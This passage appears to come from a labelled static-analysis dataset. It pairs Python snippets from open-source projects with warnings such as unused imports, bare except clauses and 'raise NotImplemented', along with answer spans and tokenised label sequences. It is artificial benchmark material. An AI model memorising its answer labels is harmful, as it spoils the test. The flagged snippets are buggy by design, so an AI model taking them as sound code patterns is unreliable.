"\\u\\u", "run", "\\u", "code_", "(_", "asm_", ",_", "0xd", "ead", "beef", "_", ",_", "ctx", "\\u", "init_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Unde", "fined", " ", "flags", "..._", "\\u\\u\\uNL\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "cf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "of", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "sf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "zf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "af", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "pf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmp", "\\u", "result_", "=_", "self_", "._", "\\u\\u", "compare", "\\u", "contexts_", "(_", "ctx", "\\u", "init_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "cmp", "\\u", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "save", "\\u", "faili", "ng", "\\u", "context_", "(_", "ctx", "\\u", "init_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cmp", "\\u", "result_", ",_", "self_", "._", "\\u\\u", "print", "\\u", "contexts_", "(_", "ctx", "\\u", "init_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
cloudera/hue/desktop/core/ext-py/Paste-2.0.1/paste/util/datetimeutil.py
[ { "content": "def _number(val):\n try:\n return int(val)\n except:\n return None", "metadata": "root._number", "header": "['module', '___EOS___']", "index": 62 } ]
[ { "span": "except:", "start_line": 65, "start_column": 4, "end_line": 65, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "number_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "int_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Unused import
fusionbox/django-widgy/widgy/contrib/widgy_i18n/south_migrations/0001_initial.py
[ { "content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n u'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n },\n 'widgy.node': {\n 'Meta': {'object_name': 'Node'},\n 'content_id': ('django.db.models.fields.PositiveIntegerField', [], {}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['contenttypes.ContentType']\"}),\n 'depth': ('django.db.models.fields.PositiveIntegerField', [], {}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_frozen': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'numchild': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'path': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'})\n },\n u'widgy_i18n.i18nlayout': {\n 'Meta': {'object_name': 'I18NLayout'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'language_code': ('django.db.models.fields.CharField', [], {'max_length': '2'})\n },\n u'widgy_i18n.i18nlayoutcontainer': {\n 'Meta': {'object_name': 'I18NLayoutContainer'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})\n }\n }\n\n complete_apps = ['widgy_i18n']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding model 'I18NLayout'\n db.create_table(u'widgy_i18n_i18nlayout', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('language_code', self.gf('django.db.models.fields.CharField')(max_length=2)),\n ))\n db.send_create_signal(u'widgy_i18n', ['I18NLayout'])\n\n # Adding model 'I18NLayoutContainer'\n db.create_table(u'widgy_i18n_i18nlayoutcontainer', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ))\n db.send_create_signal(u'widgy_i18n', ['I18NLayoutContainer'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting model 'I18NLayout'\n db.delete_table(u'widgy_i18n_i18nlayout')\n\n # Deleting model 'I18NLayoutContainer'\n db.delete_table(u'widgy_i18n_i18nlayoutcontainer')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 24 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "wid", "gy", ".", "node", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Node", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "depth", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "frozen", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "numc", "hild", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "wid", "gy", "\\u", "i18n", ".", "i18n", "layout", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "I1", "8", "NL", "ayout", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "language", "\\u", "code", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "2", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "wid", "gy", "\\u", "i18n", ".", "i18n", "layout", "container", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "I1", "8", "NL", "ayout", "Containe", "r", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "wid", "gy", "\\u", "i18n", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "I1", "8", "NL", "ayout", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "\\u", "i18n", "layout", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "u", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "language", "\\u", "code", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "2_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "'_", ",_", "[_", "'", "I1", "8", "NL", "ayout", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "I1", "8", "NL", "ayout", "Containe", "r", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "\\u", "i18n", "layout", "container", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "u", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "'_", ",_", "[_", "'", "I1", "8", "NL", "ayout", "Containe", "r", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "I1", "8", "NL", "ayout", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "table_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "\\u", "i18n", "layout", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "I1", "8", "NL", "ayout", "Containe", "r", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "u", "'", "wid", "gy", "\\u", "i18n", "\\u", "i18n", "layout", "container", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
NotImplemented is not an Exception
chrisglass/django-rulez/rulez/rolez/base.py
[ { "content": " @classmethod\n def is_member(cls, user, obj): #pragma: nocover\n raise NotImplemented", "metadata": "root.AbstractRole.is_member", "header": "['class', 'AbstractRole', '(', 'object', ')', ':', '___EOS___']", "index": 6 } ]
[ { "span": "NotImplemented", "start_line": 8, "start_column": 14, "end_line": 8, "end_column": 28 } ]
[]
1
true
[ "[CLS]_", "Not", "Implemented_", "is_", "not_", "an_", "Exception_", "[SEP]_", "class_", "Abstract", "Role_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "is", "\\u", "member_", "(_", "cls_", ",_", "user_", ",_", "obj_", ")_", ":_", "#", "pragma", ":", " ", "noco", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Implemented_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1 ]
Unused import
open-cloud/xos/xos/synchronizers/monitoring_channel/steps/sync_sflowtenant.py
[ { "content": "import hashlib\nimport os\nimport socket\nimport socket\nimport sys\nimport base64\nimport time\nimport re\nimport json\nfrom django.db.models import F, Q\nfrom xos.config import Config\nfrom synchronizers.base.syncstep import SyncStep\nfrom synchronizers.base.ansible import run_template_ssh\nfrom synchronizers.base.SyncInstanceUsingAnsible import SyncInstanceUsingAnsible\nfrom core.models import Service, Slice, ControllerSlice, ControllerUser\nfrom services.ceilometer.models import SFlowService, SFlowTenant\nfrom xos.logger import Logger, logging\n\n# hpclibrary will be in steps/..\nparentdir = os.path.join(os.path.dirname(__file__),\"..\")\nsys.path.insert(0,parentdir)\n\nlogger = Logger(level=logging.INFO)\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SyncSFlowTenant(SyncInstanceUsingAnsible):\n provides=[SFlowTenant]\n observes=SFlowTenant\n requested_interval=0\n template_name = \"sync_sflowtenant.yaml\"\n service_key_name = \"/opt/xos/synchronizers/monitoring_channel/monitoring_channel_private_key\"\n\n\n\n\n\n\n\n", "metadata": "root.SyncSFlowTenant", "header": "['module', '___EOS___']", "index": 24 }, { "content": " def __init__(self, *args, **kwargs):\n super(SyncSFlowTenant, self).__init__(*args, **kwargs)", "metadata": "root.SyncSFlowTenant.__init__", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 31 }, { "content": " def fetch_pending(self, deleted):\n if (not deleted):\n objs = SFlowTenant.get_tenant_objects().filter(Q(enacted__lt=F('updated')) | Q(enacted=None),Q(lazy_blocked=False))\n else:\n objs = SFlowTenant.get_deleted_tenant_objects()\n\n return objs", "metadata": "root.SyncSFlowTenant.fetch_pending", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 34 }, { "content": " def get_sflow_service(self, o):\n sflows = SFlowService.get_service_objects().filter(id=o.provider_service.id)\n if not sflows:\n raise \"No associated SFlow service\"\n\n return sflows[0]", "metadata": "root.SyncSFlowTenant.get_sflow_service", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 42 }, { "content": " def get_instance(self, o):\n # We assume the SFlow service owns a slice, so pick one of the instances\n # inside that slice to sync to.\n\n serv = self.get_sflow_service(o)\n\n if serv.slices.exists():\n slice = serv.slices.all()[0]\n if slice.instances.exists():\n return slice.instances.all()[0]\n\n return None", "metadata": "root.SyncSFlowTenant.get_instance", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 49 }, { "content": " def get_extra_attributes(self, o):\n instance = self.get_instance(o)\n\n fields={}\n fields[\"sflow_api_base_url\"] = self.get_sflow_service(o).sflow_api_url\n fields[\"sflow_api_port\"] = self.get_sflow_service(o).sflow_api_port\n fields[\"listening_endpoint\"] = o.listening_endpoint\n fields[\"sflow_container\"] = \"sflowpubsub\"\n\n return fields", "metadata": "root.SyncSFlowTenant.get_extra_attributes", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 62 }, { "content": " def sync_fields(self, o, fields):\n # the super causes the playbook to be run\n super(SyncSFlowTenant, self).sync_fields(o, fields)", "metadata": "root.SyncSFlowTenant.sync_fields", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 73 }, { "content": " def run_playbook(self, o, fields):\n super(SyncSFlowTenant, self).run_playbook(o, fields)", "metadata": "root.SyncSFlowTenant.run_playbook", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 77 }, { "content": " def delete_record(self, m):\n pass", "metadata": "root.SyncSFlowTenant.delete_record", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 80 } ]
[ { "span": "import hashlib", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 14 }, { "span": "import socket", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 13 }, { "span": "import socket", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 13 }, { "span": "import base64", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 13 }, { "span": "import time", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 11 }, { "span": "import re", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 9 }, { "span": "import json", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 11 }, { "span": "from xos.config import Config", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 29 }, { "span": "from synchronizers.base.syncstep import SyncStep", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 48 }, { "span": "from synchronizers.base.ansible 